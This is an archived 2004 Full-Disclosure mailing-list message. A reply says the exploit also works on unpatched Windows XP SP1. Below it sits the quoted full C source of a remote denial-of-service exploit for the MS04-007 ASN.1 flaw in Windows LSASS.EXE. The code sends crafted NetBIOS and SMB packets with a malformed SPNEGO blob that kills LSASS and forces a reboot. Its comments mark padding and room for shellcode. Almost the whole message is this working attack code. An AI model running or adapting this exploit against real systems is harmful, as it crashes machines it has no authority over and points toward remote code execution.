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Message-ID: <6.0.3.0.2.20040215195343.029c47b8@202.179.0.80>
From: ganbold at micom.mng.net (Ganbold)
Subject: Re: Microsoft Windows ASN.1 LSASS.EXE
Remote Exploit (MS04-007)
This exploit works against unpatched PC with Windows XP service pack1.
Ganbold
At 10:53 PM 14.02.2004, you wrote:
>Stephen wrote:
>
> > http://www.k-otik.com/exploits/02.14.MS04-007-dos.c.php
>
>Apparently an early version of the exploit got somewhat leaked without
>my prior knowledge. So, here is an updated version that should also work
>on port 139. It was only tested with Windows 2000 Pro SP4 (fr), but may
>also be successful against Windows XP; don't bother asking me for an
>exploit that yields a shell.
>
>$ cat MS04-007-dos.c
>
>/*
> * MS04-007 LSASS.EXE Win2k Pro Remote Denial-of-Service Exploit
> *
> * Copyright (C) 2004 Christophe Devine
> *
> * This program is free software; you can redistribute it and/or modify
> * it under the terms of the GNU General Public License as published by
> * the Free Software Foundation; either version 2 of the License, or
> * (at your option) any later version.
> *
> * This program is distributed in the hope that it will be useful,
> * but WITHOUT ANY WARRANTY; without even the implied warranty of
> * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
> * GNU General Public License for more details.
> *
> * You should have received a copy of the GNU General Public License
> * along with this program; if not, write to the Free Software
> * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
> */
>
> /*
> * > MS04-007-dos.exe 10.0.0.1 445
> * connect failed
> *
> * > nbtstat -A 10.0.0.1
> * [..]
> * SERVER3 <20> UNIQUE Registered
> * [..]
> * > MS04-007-dos.exe 10.0.0.1 139 SERVER3
> * > MS04-007-dos.exe 10.0.0.1 139 SERVER3
> * >
> *
> * if the exploit works, LSASS gets killed,
> * and after 1mn the server reboots.
> *
> */
>
>//#define WIN32
>
>#ifdef WIN32
>
>#include <winsock2.h>
>#include <windows.h>
>
>#else
>
>#include <sys/types.h>
>#include <sys/socket.h>
>#include <netinet/in.h>
>#include <netdb.h>
>
>#endif
>
>#include <stdio.h>
>
>/****************************************************************/
>
>unsigned char netbios_sess_req[] =
>
>/* NetBIOS Session Request */
>
>"\x81\x00\x00\x44"
>
>"\x20\x45\x45\x45\x46\x45\x47\x45\x42\x46\x46\x45\x4D\x46\x45\x43"
>"\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"
>"\x41\x00"
>
>"\x20\x45\x45\x45\x46\x45\x47\x45\x42\x46\x46\x45\x4D\x46\x45\x43"
>"\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x41"
>"\x41\x00";
>
>/****************************************************************/
>
>unsigned char negotiate_req[] =
>
>/* NetBIOS Message Type + Length & SMB Header */
>
>"\x00\x00\x00\xB3"
>
>"\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x08\x01\xC8\x00\x00\x00\x00"
>"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\x03\x00\x00\x02\x00"
>
>/* Negotiate Protocol Request, actually sniffed from smbclient */
>
>"\x00\x90\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F\x52\x4B\x20\x50"
>"\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02\x4D\x49\x43\x52"
>"\x4F\x53\x4F\x46\x54\x20\x4E\x45\x54\x57\x4F\x52\x4B\x53\x20\x31"
>"\x2E\x30\x33\x00\x02\x4D\x49\x43\x52\x4F\x53\x4F\x46\x54\x20\x4E"
>"\x45\x54\x57\x4F\x52\x4B\x53\x20\x33\x2E\x30\x00\x02\x4C\x41\x4E"
>"\x4D\x41\x4E\x31\x2E\x30\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
>"\x32\x00\x02\x44\x4F\x53\x20\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31"
>"\x00\x02\x53\x61\x6D\x62\x61\x00\x02\x4E\x54\x20\x4C\x41\x4E\x4D"
>"\x41\x4E\x20\x31\x2E\x30\x00\x02\x4E\x54\x20\x4C\x4D\x20\x30\x2E"
>"\x31\x32\x00";
>
>/****************************************************************/
>
>unsigned char setup_request[] =
>
>/* NetBIOS Message Type + Length & SMB Header */
>
>"\x00\x00\xCC\xCC"
>
>"\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x08\x01\xC8\x00\x00\x00\x00"
>"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\x03\x00\x00\x03\x00"
>
>/* Session Setup AndX Request */
>
>"\x0C\xFF\x00\x00\x00\xFF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\xCC"
>"\xCC\x00\x00\x00\x00\x5C\x00\x00\x80\xCC\xCC";
>
>/* Security Blob: SPNEGO OID + ASN.1 stuff */
>
>unsigned char security_blob[] =
>
>/* Application Constructed Object + SPNEGO OID */
>
>"\x60\x82\xCC\xCC\x06\x06\x2B\x06\x01\x05\x05\x02"
>
>/* negTokenInit + Constructed Sequence */
>
>"\xA0\x82\xCC\xCC\x30\x82\xCC\xCC"
>
>/* mechType: NTLMSSP OID */
>
>"\xA0\x0E\x30\x0C\x06\x0A\x2B\x06\x01\x04\x01\x82\x37\x02\x02\x0A"
>
>/* reqFlags that should trigger the overflow */
>
>"\xA1\x05\x23\x03\x03\x01\x07"
>
>/* mechToken: NTLMSSP (room for shellcode here) */
>
>"\xA2\x82\xCC\xCC\x04\x82\xCC\xCC"
>
>"\x4E\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x15\x02\x08\x60"
>"\x09\x00\x09\x00\x20\x00\x00\x00\x07\x00\x07\x00\x29\x00\x00\x00"
>"\x57\x4F\x52\x4B\x47\x52\x4F\x55\x50\x44\x45\x46\x41\x55\x4C\x54";
>
>/* Native OS & LAN Manager */
>
>unsigned char other_stuff[] =
>
>"\x00\x55\x00\x6E\x00\x69\x00\x78\x00\x00\x00\x53\x00\x61\x00\x6D"
>"\x00\x62\x00\x61\x00\x00\x00";
>
>/****************************************************************/
>
>int main( int argc, char *argv[] )
>{
> unsigned char buf[4096];
> struct hostent *server_host;
> struct sockaddr_in server_addr;
> int i, len, server_fd, n1, n2, n3;
>
>#ifdef WIN32
>
> WSADATA wsa;
>
> /* initialize windows sockets */
>
> if( WSAStartup( MAKEWORD(2,0), &wsa ) )
> {
> fprintf( stderr, "WSAStartup failed\n" );
> return( 1 );
> }
>
>#endif
>
> if( argc != 3 && argc != 4 )
> {
> fprintf( stderr, "usage: %s <target hostname> "
> "<port> [netbios name]\n",
> argv[0] );
>
> return( 1 );
> }
>
> /* resolve the server hostname and connect */
>
> server_host = gethostbyname( argv[1] );
>
> if( server_host == NULL )
> {
> fprintf( stderr, "gethostbyname(%s) failed\n", argv[1] );
> return( 1 );
> }
>
> memcpy( (void *) &server_addr.sin_addr,
> (void *) server_host->h_addr,
> server_host->h_length );
>
> sscanf( argv[2], "%d", &i );
>
> server_addr.sin_family = AF_INET;
> server_addr.sin_port = htons( (unsigned short) i );
>
> server_fd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
>
> if( server_fd < 0 )
> {
> fprintf( stderr, "could not create socket\n" );
> return( 1 );
> }
>
> len = sizeof( server_addr );
>
> if( connect( server_fd, (struct sockaddr *)
> &server_addr, len ) < 0 )
> {
> fprintf( stderr, "connect failed\n" );
> return( 1 );
> }
>
> if( argc == 4 )
> {
> /* encode the Called NetBIOS Name */
>
> len = sizeof( netbios_sess_req ) - 1;
> memcpy( buf, netbios_sess_req, len );
> memset( buf + 5, 'A', 32 );
>
> for( i = 0; i < (int) strlen( argv[3] ); i++ )
> {
> buf[5 + i * 2] += argv[3][i] >> 4;
> buf[6 + i * 2] += argv[3][i] & 15;
> }
>
> for( ; i < 16; i++ )
> {
> buf[5 + i * 2] += 0x20 >> 4;
> buf[6 + i * 2] += 0x20 & 15;
> }
>
> /* 1. NetBIOS Session Request */
>
> if( send( server_fd, buf, len, 0 ) != len )
> {
> fprintf( stderr, "send(NetBIOS Session Request) failed\n" );
> return( 1 );
> }
>
> if( recv( server_fd, buf, sizeof( buf ), 0 ) <= 0 )
> {
> fprintf( stderr, "recv(NetBIOS Session Response) failed\n" );
> return( 1 );
> }
>
> if( buf[0] == 0x83 )
> {
> fprintf( stderr, "NetBIOS Session rejected "
> "(wrong NetBIOS name ?)\n" );
> return( 1 );
> }
> }
>
> /* 2. Negotiate Protocol Request */
>
> len = sizeof( negotiate_req ) - 1;
>
> if( send( server_fd, negotiate_req, len, 0 ) != len )
> {
> fprintf( stderr, "send(Negotiate Protocol Request) failed\n" );
> return( 1 );
> }
>
> if( recv( server_fd, buf, sizeof( buf ), 0 ) <= 0 )
> {
> fprintf( stderr, "recv(Negotiate Protocol Response) failed\n" );
> return( 1 );
> }
>
> /* 3. Session Setup AndX Request */
>
> memset( buf, 'A', sizeof( buf ) );
>
> n1 = sizeof( setup_request ) - 1;
> n2 = sizeof( security_blob ) - 1;
> n3 = sizeof( other_stuff ) - 1;
>
> memcpy( buf, setup_request, n1 );
> memcpy( buf + n1, security_blob, n2 );
>
> n2 += 2000; /* heap padding for shellcode */
>
> memcpy( buf + n1 + n2, other_stuff, n3 );
>
> len = n1 + n2 + n3;
>
> buf[ 2] = ( ( len - 4 ) >> 8 ) & 0xFF; /* NetBIOS msg length */
> buf[ 3] = ( ( len - 4 ) ) & 0xFF;
>
> buf[51] = ( n2 ) & 0xFF; /* Security Blob Length */
> buf[52] = ( n2 >> 8 ) & 0xFF;
>
> buf[61] = ( ( n2 + n3 ) ) & 0xFF; /* Byte Count (BCC) */
> buf[62] = ( ( n2 + n3 ) >> 8 ) & 0xFF;
>
> buf[n1 + 2] = ( ( n2 - 4 ) >> 8 ) & 0xFF; /* ACO Length */
> buf[n1 + 3] = ( ( n2 - 4 ) ) & 0xFF;
>
> buf[n1 + 14] = ( ( n2 - 16 ) >> 8 ) & 0xFF; /* negTokenInit Length */
> buf[n1 + 15] = ( ( n2 - 16 ) ) & 0xFF;
>
> buf[n1 + 18] = ( ( n2 - 20 ) >> 8 ) & 0xFF; /* Constr. Seq. Length */
> buf[n1 + 19] = ( ( n2 - 20 ) ) & 0xFF;
>
> buf[n1 + 45] = ( ( n2 - 47 ) >> 8 ) & 0xFF; /* mechToken Length */
> buf[n1 + 46] = ( ( n2 - 47 ) ) & 0xFF;
>
> buf[n1 + 49] = ( ( n2 - 51 ) >> 8 ) & 0xFF; /* String Length */
> buf[n1 + 50] = ( ( n2 - 51 ) ) & 0xFF;
>
> if( send( server_fd, buf, len, 0 ) != len )
> {
> fprintf( stderr, "send(Session Setup AndX Request) failed\n" );
> return( 1 );
> }
>
> recv( server_fd, buf, sizeof( buf ), 0 );
>
> shutdown( server_fd, 2 );
>
> return( 0 );
>}
>
>EOF
>
>--
>Christophe Devine - http://www.cr0.net:8040/about/
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
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